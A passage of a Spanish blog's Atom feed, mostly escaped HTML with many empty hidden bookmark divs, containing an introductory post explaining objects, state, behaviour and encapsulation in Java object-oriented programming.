hidden;" title="1236429717889" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812055" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812058" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812059" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812250" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812251" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812253" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812256" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812257" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812259" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812261" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812263" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812264" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812265" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812266" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429812267" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868220" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868222" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868223" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868423" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868424" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868426" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868427" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868428" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868430" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868432" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868433" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868434" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868435" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868437" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429868438" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891083" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891085" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891086" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891292" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891294" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891295" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891296" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891297" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891298" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891299" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891303" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891304" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891306" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891307" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429891309" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939064" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939067" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939203" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939206" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939208" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939209" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939210" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939211" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939214" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939215" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939216" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939217" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939218" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429939218" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987200" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987213" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987261" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987262" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987263" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987264" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987265" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987266" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987267" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987268" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987270" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987271" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987271" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987272" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987794" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987795" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987797" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987798" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987799" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987800" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987801" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987802" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987804" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429987805" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429991847" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236429991887" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3172332855293260028?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3172332855293260028/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3172332855293260028' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3172332855293260028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3172332855293260028'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/debugconsole.html' title='DebugConsole'/><author><name>Not_Mebug</name><uri>http://www.blogger.com/profile/02494336376553763966</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6204627763260782372</id><published>2009-02-26T18:41:00.004+01:00</published><updated>2009-09-14T14:08:09.085+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>¿Qué es...? Java, I</title><content type='html'>&lt;span style="font-weight: bold;"&gt;¿Qué es un objeto?&lt;br /&gt;&lt;/span&gt;   Los objetos son clave para entender y comprender la &lt;u&gt;Programación Orientada a Objetos&lt;/u&gt;. Si miras a tu alrededor, verás muchos objetos, claramente, del mundo real como el ordenador, los discos de música, los libros...&lt;br /&gt;Estos objetos y los de la programación comparten dos aspectos:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;**&lt;/span&gt;Ambos tienen &lt;u&gt;estado&lt;/u&gt; y &lt;u&gt;comportamiento&lt;/u&gt;.&lt;br /&gt;&lt;blockquote&gt;Los perros, por ejemplo, tienen estado (nombre, color, raza, hambre) y comportamiento (ladrando, meneando la cola...)&lt;/blockquote&gt;Identificar el estado y el comportamiento de los objetos del mundo real es una manera de empezar a pensar en términos de programación orientado a objetos. Tómate un minuto para observar objetos del mundo real que estén cerca de ti. Formúlate dos preguntas para cada objeto: "¿Qué posibles estados puede tener este objeto?" y "¿Qué comportamiento puede tener este objeto?". Abre un notepad y anota lo que observes.&lt;br /&gt;&lt;br /&gt;Vas a notar que estos objetos varían en dificultad. Tu lámpara puede tener dos estados (apagada y encendida) y dos comportamientos (encender, apagar), pero, por ejemplo, una radio puede tener más estados (encendida, apagada, volumen, estación...) y comportamientos (encender, apagar, aumentar / bajar el volumen, buscar...). También vas a ver algún objeto que tenga otro objeto. Todas estas observaciones del mundo real se traducen perfectamente en el mundo de la programación orientada a objetos.&lt;br /&gt;&lt;br /&gt;Los objetos en el mundo del software son conceptualmente similares a los objetos del mundo real: también consisten en estado y comportamiento. Un objeto almacena su estado en los campos o variables, dependiendo del lenguaje de programación; y expone su comportamiento a través de métodos o funciones, dependiendo del lenguaje de programación.&lt;br /&gt;&lt;br /&gt;Los métodos operan sobre el estado interno de un objeto y sirven como mecanismo principal para la comunicación objeto a objeto. Ocultando el estado interno y requiriendo toda la interacción realizada a través de los métodos de un objeto que se conoce como la encapsulación de datos; un principio fundamental de la programación orientada a objetos.&lt;br /&gt;&lt;br /&gt;Atribuyendo estados y el suministro de métodos para cambiar ese estado, el objeto permanece en el control del modo en que el mundo exterior le permite usarlo. Por ejemplo, si una bicicleta sólo tiene 6 marchas, la utilización de un método para cambiar los engranajes puede rechazar cualquier valor que sea inferior a 1 o superior a 6.&lt;br /&gt;&lt;br /&gt;El código de software en objetos proporciona una serie de beneficios, incluyendo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    1. Modularidad:&lt;/span&gt; El código fuente de un objeto puede ser escrito y mantenido de forma independiente el código fuente de otros objetos. Una vez creado, un objeto puede ser fácilmente pasado en todo el interior del sistema.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    2. Ocultamiento de información:&lt;/span&gt; Al interactuar con un sólo métodos de los objetos, los detalles de su implementación interna permanecen ocultos del mundo exterior.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    3. Reutilización de código:&lt;/span&gt; Si un objeto que ya existe (tal vez escrito por otro desarrollador de software), puedes utilizar ese objeto en su programa. Esto permite a los especialistas para implementar/testear/debuggear en su totalidad, las tareas específicas de los objetos, los cuales puede usar para que se ejecute en su propio código.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    4. Pluggability y facilidad de depuración: &lt;/span&gt;Si un objeto en particular resulta ser problemático, puedes simplemente eliminarlo de tu aplicación y conectar un objeto diferente como su reemplazo. Esto es un análogo a la fijación de problemas mecánicos en el mundo real. Si se rompe un tornillo, sustituyes el tornillo, no toda la máquina.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;PRÓXIMO ¿Qué es...? :&lt;span style="font-size:130%;"&gt; CLASES&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SKiP&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;PD: Para los users de Linux, una amplia lista de juegos:&lt;br /&gt;&lt;a href="http://www.icculus.org/lgfaq/gamelist.php?license=free"&gt;Click!!&lt;/a&gt;&lt;div style="visibility: hidden;" title="1235670067587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067701" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067703" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067705" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067707" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067708" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067708" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067709" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067710" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067711" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067712" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067713" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067714" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067716" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670067722" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068206" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068208" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068209" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068211" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068213" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068214" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068215" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068216" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068217" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068219" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670068220" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070698" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070714" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070715" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070945" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070950" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070951" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070953" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070955" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070956" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070957" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070958" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070959" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670070960" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097377" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097382" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097387" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097578" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097580" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097581" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097583" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097584" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097588" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670097590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125451" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125454" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125455" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125685" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125688" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125689" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125690" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125691" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125692" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125693" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125694" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125695" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670125697" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287597" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287599" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287601" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287765" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287767" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287768" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287770" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287771" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287772" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287774" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287776" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287778" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287780" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670287781" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309207" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309209" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309210" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309419" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309420" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309422" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309423" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309424" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309425" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309426" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309427" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309429" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309430" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670309431" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335395" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335397" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335398" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335640" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335645" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335648" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335649" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335655" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335656" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335658" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670335660" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349666" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349668" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349670" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349933" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349935" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349937" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349938" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349940" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349942" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349943" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349944" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349946" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349949" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670349950" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670453970" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670454039" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470329" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470332" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470334" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470564" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470566" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470568" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470574" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470575" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470576" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470579" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470580" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470581" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470583" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470584" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670470588" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670525912" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235670525927" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: 